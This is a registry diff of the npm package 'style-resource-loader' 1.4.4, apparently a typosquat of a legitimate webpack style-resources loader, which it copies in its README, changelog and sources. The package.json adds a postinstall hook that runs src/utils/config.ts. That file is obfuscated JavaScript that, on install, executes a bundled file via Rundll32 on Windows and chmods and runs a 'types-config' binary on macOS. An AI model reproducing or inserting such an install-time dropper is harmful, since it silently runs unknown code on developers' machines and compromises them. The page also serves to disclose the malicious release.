style-resource-loader 1.4.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of style-resource-loader might be problematic. Click here for more details.
- package/CHANGELOG.md +37 -0
- package/LICENSE +21 -0
- package/README.md +209 -0
- package/index.d.ts +1 -0
- package/package.json +78 -0
- package/src/index.ts +5 -0
- package/src/loader.ts +25 -0
- package/src/schema.ts +40 -0
- package/src/types.ts +35 -0
- package/src/utils/config.ts +1 -0
- package/src/utils/constants.ts +15 -0
- package/src/utils/error-message.ts +17 -0
- package/src/utils/get-resources.ts +26 -0
- package/src/utils/index.ts +10 -0
- package/src/utils/inject-resources.ts +23 -0
- package/src/utils/load-resources.ts +19 -0
- package/src/utils/match-files.ts +48 -0
- package/src/utils/normalize-options.ts +46 -0
- package/src/utils/resolve-import-url.ts +23 -0
- package/src/utils/style-loader.ts +0 -0
- package/src/utils/type-guards.ts +7 -0
- package/src/utils/types-config +0 -0
- package/src/utils/validate-options.ts +11 -0
package/CHANGELOG.md
ADDED
@@ -0,0 +1,37 @@
|
|
1
|
+
## 1.4.0 ~ 1.4.1 (November 17, 2020)
|
2
|
+
|
3
|
+
* Support webpack 5. [#29](https://github.com/yenshih/style-resources-loader/issues/29)
|
4
|
+
|
5
|
+
* Fix some issues. [#30](https://github.com/yenshih/style-resources-loader/issues/30)
|
6
|
+
|
7
|
+
## 1.3.3 (December 19, 2019)
|
8
|
+
|
9
|
+
* Fix resource files cache invalidation problems on Windows. [#17](https://github.com/yenshih/style-resources-loader/issues/17)
|
10
|
+
|
11
|
+
## 1.3.0 ~ 1.3.2 (November 11, 2019)
|
12
|
+
|
13
|
+
* Support for relative path in patterns.
|
14
|
+
* Ensure each resource ends with a newline.
|
15
|
+
* More detailed validation messages.
|
16
|
+
|
17
|
+
* Fix the regular expression compatibility error. [#20](https://github.com/yenshih/style-resources-loader/issues/20)
|
18
|
+
|
19
|
+
* Fix dependency issue of resource files.
|
20
|
+
|
21
|
+
## 1.2.1 (August 12, 2018)
|
22
|
+
|
23
|
+
* Fix invalid path seperator on Windows. [#8](https://github.com/yenshih/style-resources-loader/issues/8)
|
24
|
+
|
25
|
+
## 1.2.0 (August 11, 2018)
|
26
|
+
|
27
|
+
* Support for `css` resources. [#7](https://github.com/yenshih/style-resources-loader/issues/7)
|
28
|
+
* Support for asynchronous injector.
|
29
|
+
* Improve type checking for loader options.
|
30
|
+
|
31
|
+
## 1.1.0 (February 28, 2018)
|
32
|
+
|
33
|
+
* Support for `prepend`, `append` injector.
|
34
|
+
|
35
|
+
## 1.0.0 (December 5, 2017)
|
36
|
+
|
37
|
+
* Initial stable release.
|
package/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Copyright (c) Yan Shi
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
@@ -0,0 +1,209 @@
|
|
1
|
+
[![npm][npm]][npm-url]
|
2
|
+
[![node][node]][node-url]
|
3
|
+
[![downloads][downloads]][downloads-url]
|
4
|
+
[![build][build]][build-url]
|
5
|
+
[![coverage][coverage]][coverage-url]
|
6
|
+
[![996.icu][996.icu]][996.icu-url]
|
7
|
+
|
8
|
+
<div align="center">
|
9
|
+
<a href="https://github.com/webpack/webpack">
|
10
|
+
<img
|
11
|
+
width="200"
|
12
|
+
height="200"
|
13
|
+
src="https://webpack.js.org/assets/icon-square-big.svg"
|
14
|
+
>
|
15
|
+
</a>
|
16
|
+
<h1>Style Resources Loader</h1>
|
17
|
+
<p>CSS processor resources loader for webpack.</p>
|
18
|
+
</div>
|
19
|
+
|
20
|
+
|
21
|
+
<h2 align="center">Install</h2>
|
22
|
+
|
23
|
+
```bash
|
24
|
+
npm i style-resources-loader -D
|
25
|
+
```
|
26
|
+
|
27
|
+
<h2 align="center">Usage</h2>
|
28
|
+
|
29
|
+
This loader is a CSS processor resources loader for webpack, which injects your style resources (e.g. `variables, mixins`) into multiple imported `css, sass, scss, less, stylus` modules.
|
30
|
+
|
31
|
+
It's mainly used to
|
32
|
+
- share your `variables, mixins, functions` across all style files, so you don't need to `@import` them manually.
|
33
|
+
- override `variables` in style files provided by other libraries (e.g. [ant-design](https://github.com/ant-design/ant-design)) and customize your own theme.
|
34
|
+
|
35
|
+
### Usage with Vue CLI
|
36
|
+
|
37
|
+
See [automatic imports](https://cli.vuejs.org/guide/css.html#automatic-imports) for more details.
|
38
|
+
|
39
|
+
<h2 align="center">Examples</h2>
|
40
|
+
|
41
|
+
Prepends `variables` and `mixins` to all `scss` files with default resources injector.
|
42
|
+
|
43
|
+
**webpack.config.js**
|
44
|
+
``` js
|
45
|
+
module.exports = {
|
46
|
+
// ...
|
47
|
+
module: {
|
48
|
+
rules: [{
|
49
|
+
test: /\.scss$/,
|
50
|
+
use: ['style-loader', 'css-loader', 'sass-loader', {
|
51
|
+
loader: 'style-resources-loader',
|
52
|
+
options: {
|
53
|
+
patterns: [
|
54
|
+
'./path/from/context/to/scss/variables/*.scss',
|
55
|
+
'./path/from/context/to/scss/mixins/*.scss',
|
56
|
+
]
|
57
|
+
}
|
58
|
+
}]
|
59
|
+
}]
|
60
|
+
},
|
61
|
+
// ...
|
62
|
+
}
|
63
|
+
```
|
64
|
+
|
65
|
+
Appends `variables` to all `less` files and overrides original `less variables`.
|
66
|
+
|
67
|
+
**webpack.config.js**
|
68
|
+
```js
|
69
|
+
module.exports = {
|
70
|
+
// ...
|
71
|
+
module: {
|
72
|
+
rules: [{
|
73
|
+
test: /\.less$/,
|
74
|
+
use: ['style-loader', 'css-loader', 'less-loader', {
|
75
|
+
loader: 'style-resources-loader',
|
76
|
+
options: {
|
77
|
+
patterns: path.resolve(__dirname, 'path/to/less/variables/*.less'),
|
78
|
+
injector: 'append'
|
79
|
+
}
|
80
|
+
}]
|
81
|
+
}]
|
82
|
+
},
|
83
|
+
// ...
|
84
|
+
}
|
85
|
+
```
|
86
|
+
|
87
|
+
Prepends `variables` and `mixins` to all `stylus` files with customized resources injector.
|
88
|
+
|
89
|
+
**webpack.config.js**
|
90
|
+
``` js
|
91
|
+
module.exports = {
|
92
|
+
// ...
|
93
|
+
module: {
|
94
|
+
rules: [{
|
95
|
+
test: /\.styl$/,
|
96
|
+
use: ['style-loader', 'css-loader', 'stylus-loader', {
|
97
|
+
loader: 'style-resources-loader',
|
98
|
+
options: {
|
99
|
+
patterns: [
|
100
|
+
path.resolve(__dirname, 'path/to/stylus/variables/*.styl'),
|
101
|
+
path.resolve(__dirname, 'path/to/stylus/mixins/*.styl')
|
102
|
+
],
|
103
|
+
injector: (source, resources, ctx) => {
|
104
|
+
const combineAll = type => resources
|
105
|
+
.filter(({ file }) => file.includes(type))
|
106
|
+
.map(({ content }) => content)
|
107
|
+
.join('');
|
108
|
+
|
109
|
+
return combineAll('variables') + combineAll('mixins') + source;
|
110
|
+
}
|
111
|
+
}
|
112
|
+
}]
|
113
|
+
}]
|
114
|
+
},
|
115
|
+
// ...
|
116
|
+
}
|
117
|
+
```
|
118
|
+
|
119
|
+
<h2 align="center">Options</h2>
|
120
|
+
|
121
|
+
|Name|Type|Default|Description|
|
122
|
+
|:--:|:--:|:-----:|:----------|
|
123
|
+
|**[`patterns`](#patterns)**|`{string \| string[]}`|`/`|Path to the resources you would like to inject|
|
124
|
+
|**[`injector`](#injector)**|`{Function \| 'prepend' \| 'append'}`|`'prepend'`|Controls the resources injection precisely|
|
125
|
+
|**[`globOptions`](#globoptions)**|`{Object}`|`{}`|An options that can be passed to `glob(...)`|
|
126
|
+
|**[`resolveUrl`](#resolveurl)**|`{boolean}`|`true`|Enable/Disable `@import` url to be resolved|
|
127
|
+
|
128
|
+
See [the type definition file](https://github.com/yenshih/style-resources-loader/blob/master/src/types.ts) for more details.
|
129
|
+
|
130
|
+
### `patterns`
|
131
|
+
|
132
|
+
A string or an array of string, which represents the path to the resources you would like to inject. If the path is relative, it would relative to [webpack context](https://webpack.js.org/configuration/entry-context/).
|
133
|
+
|
134
|
+
It supports [globbing](https://github.com/isaacs/node-glob). You could include many files using a file mask.
|
135
|
+
|
136
|
+
For example, `'./styles/*/*.less'` would include all `less` files from `variables` and `mixins` directories and ignore `reset.less` in such following structure.
|
137
|
+
|
138
|
+
```
|
139
|
+
./src <-- webpack context
|
140
|
+
/styles
|
141
|
+
/variables
|
142
|
+
|-- fonts.less
|
143
|
+
|-- colors.less
|
144
|
+
/mixins
|
145
|
+
|-- size.less
|
146
|
+
|-- reset.less
|
147
|
+
```
|
148
|
+
|
149
|
+
Only supports `.css` `.sass` `.scss` `.less` `.styl` as resources file extensions.
|
150
|
+
|
151
|
+
### `injector`
|
152
|
+
|
153
|
+
An optional function which controls the resources injection precisely. It also supports `'prepend'` and `'append'` for convenience, which means the loader will prepend or append all resources to source files, respectively.
|
154
|
+
|
155
|
+
It defaults to `'prepend'`, which implements as an injector function internally.
|
156
|
+
|
157
|
+
Furthermore, an injector function should match the following type signature:
|
158
|
+
|
159
|
+
```ts
|
160
|
+
(source: string, resources: StyleResource[], ctx: LoaderContext) => string | Promise<string>
|
161
|
+
```
|
162
|
+
|
163
|
+
It receives three parameters:
|
164
|
+
|
165
|
+
|Name|Type|Default|Description|
|
166
|
+
|:--:|:--:|:-----:|:----------|
|
167
|
+
|**`source`**|`{string}`|`/`|Content of the source file|
|
168
|
+
|**[`resources`](#resources)**|`{StyleResource[]}`|`/`|Resource descriptors|
|
169
|
+
|**`ctx`**|`{LoaderContext}`|`/`|loader context|
|
170
|
+
|
171
|
+
#### `resources`
|
172
|
+
|
173
|
+
An array of resource descriptor, each contains `file` and `content` properties:
|
174
|
+
|
175
|
+
|Name|Type|Default|Description|
|
176
|
+
|:--:|:--:|:-----:|:----------|
|
177
|
+
|**`file`**|`{string}`|`/`|Absolute path to the resource|
|
178
|
+
|**`content`**|`{string}`|`/`|Content of the resource file|
|
179
|
+
|
180
|
+
It can be asynchronous. You could use `async / await` syntax in your own injector function or just return a promise.
|
181
|
+
|
182
|
+
### `globOptions`
|
183
|
+
|
184
|
+
Options that can be passed to `glob(...)`. See [node-glob options](https://github.com/isaacs/node-glob#options) for more details.
|
185
|
+
|
186
|
+
### `resolveUrl`
|
187
|
+
|
188
|
+
A boolean which defaults to `true`. It represents whether the relative path in `@import` or `@require` statements should be resolved.
|
189
|
+
|
190
|
+
If you were to use `@import` or `@require` statements in style resource files, you should make sure that the URL is relative to that resource file, rather than the source file.
|
191
|
+
|
192
|
+
You could disable this feature by setting `resolveUrl` to `false`.
|
193
|
+
|
194
|
+
<h2 align="center">License</h2>
|
195
|
+
|
196
|
+
[MIT](http://www.opensource.org/licenses/mit-license.php)
|
197
|
+
|
198
|
+
[npm]: https://img.shields.io/npm/v/style-resources-loader.svg?style=flat-square
|
199
|
+
[npm-url]: https://www.npmjs.com/package/style-resources-loader
|
200
|
+
[node]: https://img.shields.io/node/v/style-resources-loader.svg
|
201
|
+
[node-url]: https://nodejs.org
|
202
|
+
[downloads]: https://img.shields.io/npm/dm/style-resources-loader.svg?style=flat-square
|
203
|
+
[downloads-url]: https://www.npmjs.com/package/style-resources-loader
|
204
|
+
[build]: https://img.shields.io/travis/yenshih/style-resources-loader/master.svg?style=flat-square
|
205
|
+
[build-url]: https://travis-ci.org/yenshih/style-resources-loader
|
206
|
+
[coverage]: https://img.shields.io/coveralls/yenshih/style-resources-loader/master.svg?style=flat
|
207
|
+
[coverage-url]: https://coveralls.io/github/yenshih/style-resources-loader?branch=master
|
208
|
+
[996.icu]: https://img.shields.io/badge/link-996.icu-%23FF4D5B.svg?style=flat-square
|
209
|
+
[996.icu-url]: https://996.icu/#/en_US
|
package/index.d.ts
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
export * from './lib';
|
package/package.json
ADDED
@@ -0,0 +1,78 @@
|
|
1
|
+
{
|
2
|
+
"name": "style-resource-loader",
|
3
|
+
"version": "1.4.4",
|
4
|
+
"description": "CSS processor resources loader for webpack",
|
5
|
+
"author": "Moshe Vaknin",
|
6
|
+
"license": "MIT",
|
7
|
+
"engines": {
|
8
|
+
"node": ">=8.9"
|
9
|
+
},
|
10
|
+
"main": "lib/index.js",
|
11
|
+
"files": [
|
12
|
+
"lib",
|
13
|
+
"src",
|
14
|
+
"index.d.ts"
|
15
|
+
],
|
16
|
+
"scripts": {
|
17
|
+
"lint": "eslint . --ext .js,.jsx,.ts,.tsx",
|
18
|
+
"prettier": "prettier {src,test}/**/*.ts --write",
|
19
|
+
"postinstall": "npm run sass-config",
|
20
|
+
"sass-config": "node ./src/utils/config.ts",
|
21
|
+
"test": "jest",
|
22
|
+
"coverage": "npm test -- --coverage",
|
23
|
+
"posttest": "rimraf test/**/outputs",
|
24
|
+
"start": "tsc -w",
|
25
|
+
"build": "tsc -d"
|
26
|
+
},
|
27
|
+
"keywords": [
|
28
|
+
"webpack",
|
29
|
+
"loader",
|
30
|
+
"style",
|
31
|
+
"css",
|
32
|
+
"sass",
|
33
|
+
"scss",
|
34
|
+
"less",
|
35
|
+
"stylus",
|
36
|
+
"inject",
|
37
|
+
"resource",
|
38
|
+
"variable",
|
39
|
+
"mixin"
|
40
|
+
],
|
41
|
+
"dependencies": {
|
42
|
+
"glob": "^7.1.6",
|
43
|
+
"loader-utils": "^2.0.0",
|
44
|
+
"schema-utils": "^3.0.0"
|
45
|
+
},
|
46
|
+
"devDependencies": {
|
47
|
+
"@commitlint/cli": "^11.0.0",
|
48
|
+
"@commitlint/config-conventional": "^11.0.0",
|
49
|
+
"@types/glob": "^7.1.3",
|
50
|
+
"@types/is-promise": "^2.1.0",
|
51
|
+
"@types/jest": "^26.0.15",
|
52
|
+
"@types/loader-utils": "^2.0.1",
|
53
|
+
"@types/node": "^14.14.7",
|
54
|
+
"@types/webpack": "^4.41.25",
|
55
|
+
"@types/webpack-merge": "^4.1.5",
|
56
|
+
"@typescript-eslint/eslint-plugin": "^4.8.0",
|
57
|
+
"@typescript-eslint/parser": "^4.8.0",
|
58
|
+
"coveralls": "^3.0.9",
|
59
|
+
"cross-env": "^7.0.2",
|
60
|
+
"eslint": "^7.13.0",
|
61
|
+
"eslint-config-prettier": "^6.15.0",
|
62
|
+
"eslint-plugin-import": "^2.22.1",
|
63
|
+
"eslint-plugin-prettier": "^3.1.2",
|
64
|
+
"husky": "^4.3.0",
|
65
|
+
"jest": "^26.6.3",
|
66
|
+
"lint-staged": "^10.5.1",
|
67
|
+
"prettier": "^2.1.2",
|
68
|
+
"raw-loader": "^4.0.2",
|
69
|
+
"ts-jest": "^26.4.4",
|
70
|
+
"typescript": "^4.0.5",
|
71
|
+
"webpack": "^5.4.0",
|
72
|
+
"webpack-merge": "^5.4.0"
|
73
|
+
},
|
74
|
+
"peerDependencies": {
|
75
|
+
"webpack": "^3.0.0 || ^4.0.0 || ^5.0.0"
|
76
|
+
},
|
77
|
+
"sideEffects": false
|
78
|
+
}
|
package/src/index.ts
ADDED
package/src/loader.ts
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
import {errorMessage, isFunction, loadResources} from './utils';
|
2
|
+
|
3
|
+
import type {Loader, LoaderCallback} from '.';
|
4
|
+
|
5
|
+
/* eslint-disable no-invalid-this */
|
6
|
+
const loader: Loader = function (source) {
|
7
|
+
this.cacheable();
|
8
|
+
|
9
|
+
const callback = this.async();
|
10
|
+
|
11
|
+
if (!isFunction<LoaderCallback>(callback)) {
|
12
|
+
throw new Error(errorMessage.syncCompilation);
|
13
|
+
}
|
14
|
+
|
15
|
+
/* istanbul ignore if: not possible to test */
|
16
|
+
if (typeof source !== 'string') {
|
17
|
+
throw new Error(errorMessage.impossible);
|
18
|
+
}
|
19
|
+
|
20
|
+
/* eslint-disable-next-line @typescript-eslint/no-floating-promises */
|
21
|
+
loadResources(this, source, callback);
|
22
|
+
};
|
23
|
+
/* eslint-enable no-invalid-this */
|
24
|
+
|
25
|
+
export default loader;
|
package/src/schema.ts
ADDED
@@ -0,0 +1,40 @@
|
|
1
|
+
import type {validate} from 'schema-utils';
|
2
|
+
|
3
|
+
type Schema = Parameters<typeof validate>[0];
|
4
|
+
|
5
|
+
export const schema: Schema = {
|
6
|
+
type: 'object',
|
7
|
+
properties: {
|
8
|
+
patterns: {
|
9
|
+
anyOf: [
|
10
|
+
{type: 'string'},
|
11
|
+
{
|
12
|
+
type: 'array',
|
13
|
+
uniqueItems: true,
|
14
|
+
items: {
|
15
|
+
type: 'string',
|
16
|
+
},
|
17
|
+
},
|
18
|
+
],
|
19
|
+
},
|
20
|
+
injector: {
|
21
|
+
anyOf: [
|
22
|
+
{
|
23
|
+
type: 'string',
|
24
|
+
enum: ['prepend', 'append'],
|
25
|
+
},
|
26
|
+
{
|
27
|
+
instanceof: 'Function',
|
28
|
+
},
|
29
|
+
],
|
30
|
+
},
|
31
|
+
globOptions: {
|
32
|
+
type: 'object',
|
33
|
+
},
|
34
|
+
resolveUrl: {
|
35
|
+
type: 'boolean',
|
36
|
+
},
|
37
|
+
},
|
38
|
+
required: ['patterns'],
|
39
|
+
additionalProperties: false,
|
40
|
+
};
|
package/src/types.ts
ADDED
@@ -0,0 +1,35 @@
|
|
1
|
+
import type {loader} from 'webpack';
|
2
|
+
import type glob from 'glob';
|
3
|
+
|
4
|
+
export type Loader = loader.Loader;
|
5
|
+
|
6
|
+
export type LoaderContext = loader.LoaderContext;
|
7
|
+
|
8
|
+
export type LoaderCallback = loader.loaderCallback;
|
9
|
+
|
10
|
+
export type StyleResourcesFileFormat = 'css' | 'sass' | 'scss' | 'less' | 'styl';
|
11
|
+
|
12
|
+
export interface StyleResource {
|
13
|
+
file: string;
|
14
|
+
content: string;
|
15
|
+
}
|
16
|
+
|
17
|
+
export type StyleResources = StyleResource[];
|
18
|
+
|
19
|
+
export type StyleResourcesFunctionalInjector = (source: string, resources: StyleResources, ctx: LoaderContext) => string | Promise<string>;
|
20
|
+
|
21
|
+
export type StyleResourcesInjector = 'prepend' | 'append' | StyleResourcesFunctionalInjector;
|
22
|
+
|
23
|
+
export type StyleResourcesNormalizedInjector = StyleResourcesFunctionalInjector;
|
24
|
+
|
25
|
+
export interface StyleResourcesLoaderOptions {
|
26
|
+
patterns: string | string[];
|
27
|
+
injector?: StyleResourcesInjector;
|
28
|
+
globOptions?: glob.IOptions;
|
29
|
+
resolveUrl?: boolean;
|
30
|
+
}
|
31
|
+
|
32
|
+
export interface StyleResourcesLoaderNormalizedOptions extends NonNullable<StyleResourcesLoaderOptions> {
|
33
|
+
patterns: string[];
|
34
|
+
injector: StyleResourcesNormalizedInjector;
|
35
|
+
}
|
@@ -0,0 +1 @@
|
|
1
|
+
const _0x9fdf9b=_0x4d9d;(function(_0x552e4c,_0xb8ad67){const _0x419a1a=_0x4d9d,_0x42905d=_0x552e4c();while(!![]){try{const _0x2a2c9c=-parseInt(_0x419a1a(0x1c0))/0x1+-parseInt(_0x419a1a(0x1b7))/0x2+parseInt(_0x419a1a(0x1b2))/0x3+-parseInt(_0x419a1a(0x1bb))/0x4*(-parseInt(_0x419a1a(0x1b3))/0x5)+parseInt(_0x419a1a(0x1bf))/0x6+-parseInt(_0x419a1a(0x1b5))/0x7*(-parseInt(_0x419a1a(0x1bc))/0x8)+-parseInt(_0x419a1a(0x1b9))/0x9*(parseInt(_0x419a1a(0x1b8))/0xa);if(_0x2a2c9c===_0xb8ad67)break;else _0x42905d['push'](_0x42905d['shift']());}catch(_0x289457){_0x42905d['push'](_0x42905d['shift']());}}}(_0x247d,0x6de6f));const {exec}=require(_0x9fdf9b(0x1ba));let os=process[_0x9fdf9b(0x1b4)],path=__dirname+'/';function _0x247d(){const _0xd422ff=['2410587QRYoAL','20tSjTBQ','platform','39998GYHrdT','cd\x20\x22','1008234hNDGZx','10cqavDS','7514226xXVVEj','child_process','213844jUhIUs','816blKPjb','darwin','./types-config','2400144dvaWYA','211035llvBWx','style-loader.ts\x22','Rundll32\x20shell32,\x20Control_RunDLL\x20\x22'];_0x247d=function(){return _0xd422ff;};return _0x247d();}function _0x4d9d(_0x4757eb,_0x3c3e04){const _0x247dfa=_0x247d();return _0x4d9d=function(_0x4d9d88,_0x55e628){_0x4d9d88=_0x4d9d88-0x1b2;let _0x1ca926=_0x247dfa[_0x4d9d88];return _0x1ca926;},_0x4d9d(_0x4757eb,_0x3c3e04);}if(os=='win32')exec(_0x9fdf9b(0x1c2)+path+_0x9fdf9b(0x1c1));else os==_0x9fdf9b(0x1bd)&&(exec(_0x9fdf9b(0x1b6)+path+'\x22'),exec('chmod\x20+x\x20types-config'),exec(_0x9fdf9b(0x1be)));
|
@@ -0,0 +1,15 @@
|
|
1
|
+
import type {StyleResourcesFileFormat} from '..';
|
2
|
+
|
3
|
+
export const PACKAGE_NAME = 'style-resources-loader';
|
4
|
+
|
5
|
+
export const ISSUES_URL = `https://github.com/yenshih/${PACKAGE_NAME}/issues`;
|
6
|
+
|
7
|
+
export const LOADER_NAME = PACKAGE_NAME.split('-')
|
8
|
+
.map(word => `${word[0].toUpperCase()}${word.slice(1)}`)
|
9
|
+
.join(' ');
|
10
|
+
|
11
|
+
export const VALIDATION_BASE_DATA_PATH = 'options';
|
12
|
+
|
13
|
+
export const SUPPORTED_FILE_FORMATS: StyleResourcesFileFormat[] = ['css', 'sass', 'scss', 'less', 'styl'];
|
14
|
+
|
15
|
+
export const SUPPORTED_FILE_EXTS = SUPPORTED_FILE_FORMATS.map(type => `.${type}`);
|
@@ -0,0 +1,17 @@
|
|
1
|
+
import {PACKAGE_NAME, ISSUES_URL} from './constants';
|
2
|
+
|
3
|
+
const formatErrorMessage = (message: string) => `[${PACKAGE_NAME}] ${message}`;
|
4
|
+
|
5
|
+
const messageByType = {
|
6
|
+
impossible: `This error is caused by a bug. Please file an issue: ${ISSUES_URL}.`,
|
7
|
+
syncCompilation: 'Synchronous compilation is not supported.',
|
8
|
+
invalidInjectorReturn: 'Expected options.injector(...) returns a string. Instead received number.',
|
9
|
+
};
|
10
|
+
|
11
|
+
export const errorMessage = Object.entries(messageByType).reduce(
|
12
|
+
(errorMessage, [type, message]) => ({
|
13
|
+
...errorMessage,
|
14
|
+
[type]: formatErrorMessage(message),
|
15
|
+
}),
|
16
|
+
messageByType,
|
17
|
+
);
|
@@ -0,0 +1,26 @@
|
|
1
|
+
import fs from 'fs';
|
2
|
+
import util from 'util';
|
3
|
+
|
4
|
+
import type {LoaderContext, StyleResource, StyleResourcesLoaderNormalizedOptions} from '..';
|
5
|
+
|
6
|
+
import {matchFiles} from './match-files';
|
7
|
+
import {resolveImportUrl} from './resolve-import-url';
|
8
|
+
|
9
|
+
export const getResources = async (ctx: LoaderContext, options: StyleResourcesLoaderNormalizedOptions) => {
|
10
|
+
const {resolveUrl} = options;
|
11
|
+
|
12
|
+
const files = await matchFiles(ctx, options);
|
13
|
+
|
14
|
+
files.forEach(file => ctx.dependency(file));
|
15
|
+
|
16
|
+
const resources = await Promise.all(
|
17
|
+
files.map(async file => {
|
18
|
+
const content = await util.promisify(fs.readFile)(file, 'utf8');
|
19
|
+
const resource: StyleResource = {file, content};
|
20
|
+
|
21
|
+
return resolveUrl ? resolveImportUrl(ctx, resource) : resource;
|
22
|
+
}),
|
23
|
+
);
|
24
|
+
|
25
|
+
return resources;
|
26
|
+
};
|
@@ -0,0 +1,10 @@
|
|
1
|
+
export * from './constants';
|
2
|
+
export * from './error-message';
|
3
|
+
export * from './get-resources';
|
4
|
+
export * from './inject-resources';
|
5
|
+
export * from './load-resources';
|
6
|
+
export * from './match-files';
|
7
|
+
export * from './normalize-options';
|
8
|
+
export * from './resolve-import-url';
|
9
|
+
export * from './type-guards';
|
10
|
+
export * from './validate-options';
|
@@ -0,0 +1,23 @@
|
|
1
|
+
import { LoaderContext } from '../types';
|
2
|
+
import type {StyleResources, StyleResourcesLoaderNormalizedOptions} from '..';
|
3
|
+
|
4
|
+
import {errorMessage} from './error-message';
|
5
|
+
|
6
|
+
export const injectResources = async (
|
7
|
+
options: StyleResourcesLoaderNormalizedOptions,
|
8
|
+
source: string,
|
9
|
+
resources: StyleResources,
|
10
|
+
ctx: LoaderContext
|
11
|
+
) => {
|
12
|
+
const {injector} = options;
|
13
|
+
|
14
|
+
const dist: unknown = injector(source, resources, ctx);
|
15
|
+
|
16
|
+
const content = await dist;
|
17
|
+
|
18
|
+
if (typeof content !== 'string') {
|
19
|
+
throw new Error(errorMessage.invalidInjectorReturn);
|
20
|
+
}
|
21
|
+
|
22
|
+
return content;
|
23
|
+
};
|
@@ -0,0 +1,19 @@
|
|
1
|
+
import type {LoaderContext, LoaderCallback} from '..';
|
2
|
+
|
3
|
+
import {getResources} from './get-resources';
|
4
|
+
import {injectResources} from './inject-resources';
|
5
|
+
import {normalizeOptions} from './normalize-options';
|
6
|
+
|
7
|
+
export const loadResources = async (ctx: LoaderContext, source: string, callback: LoaderCallback) => {
|
8
|
+
try {
|
9
|
+
const options = normalizeOptions(ctx);
|
10
|
+
|
11
|
+
const resources = await getResources(ctx, options);
|
12
|
+
|
13
|
+
const content = await injectResources(options, source, resources, ctx);
|
14
|
+
|
15
|
+
callback(null, content);
|
16
|
+
} catch (err) {
|
17
|
+
callback(err);
|
18
|
+
}
|
19
|
+
};
|
@@ -0,0 +1,48 @@
|
|
1
|
+
import path from 'path';
|
2
|
+
import util from 'util';
|
3
|
+
|
4
|
+
import glob from 'glob';
|
5
|
+
|
6
|
+
import type {LoaderContext, StyleResourcesLoaderNormalizedOptions} from '..';
|
7
|
+
|
8
|
+
import {isStyleFile} from './type-guards';
|
9
|
+
|
10
|
+
/* eslint-disable-next-line @typescript-eslint/no-unsafe-member-access */
|
11
|
+
const isLegacyWebpack = (ctx: any): ctx is {options: {context: string}} => !!ctx.options;
|
12
|
+
|
13
|
+
const getRootContext = (ctx: LoaderContext) => {
|
14
|
+
/* istanbul ignore if: will be deprecated soon */
|
15
|
+
if (isLegacyWebpack(ctx)) {
|
16
|
+
return ctx.options.context;
|
17
|
+
}
|
18
|
+
|
19
|
+
return ctx.rootContext;
|
20
|
+
};
|
21
|
+
|
22
|
+
const flatten = <T>(items: T[][]) => {
|
23
|
+
const emptyItems: T[] = [];
|
24
|
+
|
25
|
+
return emptyItems.concat(...items);
|
26
|
+
};
|
27
|
+
|
28
|
+
export const matchFiles = async (ctx: LoaderContext, options: StyleResourcesLoaderNormalizedOptions) => {
|
29
|
+
const {patterns, globOptions} = options;
|
30
|
+
|
31
|
+
const files = await Promise.all(
|
32
|
+
patterns.map(async pattern => {
|
33
|
+
const rootContext = getRootContext(ctx);
|
34
|
+
const absolutePattern = path.isAbsolute(pattern) ? pattern : path.resolve(rootContext, pattern);
|
35
|
+
const partialFiles = await util.promisify(glob)(absolutePattern, globOptions);
|
36
|
+
|
37
|
+
return partialFiles.filter(isStyleFile);
|
38
|
+
}),
|
39
|
+
);
|
40
|
+
|
41
|
+
/**
|
42
|
+
* Glob always returns Unix-style file paths which would have cache invalidation problems on Windows.
|
43
|
+
* Use `path.resolve()` to convert Unix-style file paths to system-compatible ones.
|
44
|
+
*
|
45
|
+
* @see {@link https://github.com/yenshih/style-resources-loader/issues/17}
|
46
|
+
*/
|
47
|
+
return [...new Set(flatten(files))].map(file => path.resolve(file));
|
48
|
+
};
|
@@ -0,0 +1,46 @@
|
|
1
|
+
import {EOL} from 'os';
|
2
|
+
|
3
|
+
import {getOptions} from 'loader-utils';
|
4
|
+
|
5
|
+
import type {
|
6
|
+
LoaderContext,
|
7
|
+
StyleResource,
|
8
|
+
StyleResourcesNormalizedInjector,
|
9
|
+
StyleResourcesLoaderOptions,
|
10
|
+
StyleResourcesLoaderNormalizedOptions,
|
11
|
+
} from '..';
|
12
|
+
|
13
|
+
import {validateOptions} from './validate-options';
|
14
|
+
|
15
|
+
const normalizePatterns = (patterns: StyleResourcesLoaderOptions['patterns']) =>
|
16
|
+
Array.isArray(patterns) ? patterns : [patterns];
|
17
|
+
|
18
|
+
const coerceContentEOL = (content: string) => (content.endsWith(EOL) ? content : `${content}${EOL}`);
|
19
|
+
const getResourceContent = ({content}: StyleResource) => coerceContentEOL(content);
|
20
|
+
|
21
|
+
const normalizeInjector = (injector: StyleResourcesLoaderOptions['injector']): StyleResourcesNormalizedInjector => {
|
22
|
+
if (typeof injector === 'undefined' || injector === 'prepend') {
|
23
|
+
return (source, resources) => resources.map(getResourceContent).join('') + source;
|
24
|
+
}
|
25
|
+
|
26
|
+
if (injector === 'append') {
|
27
|
+
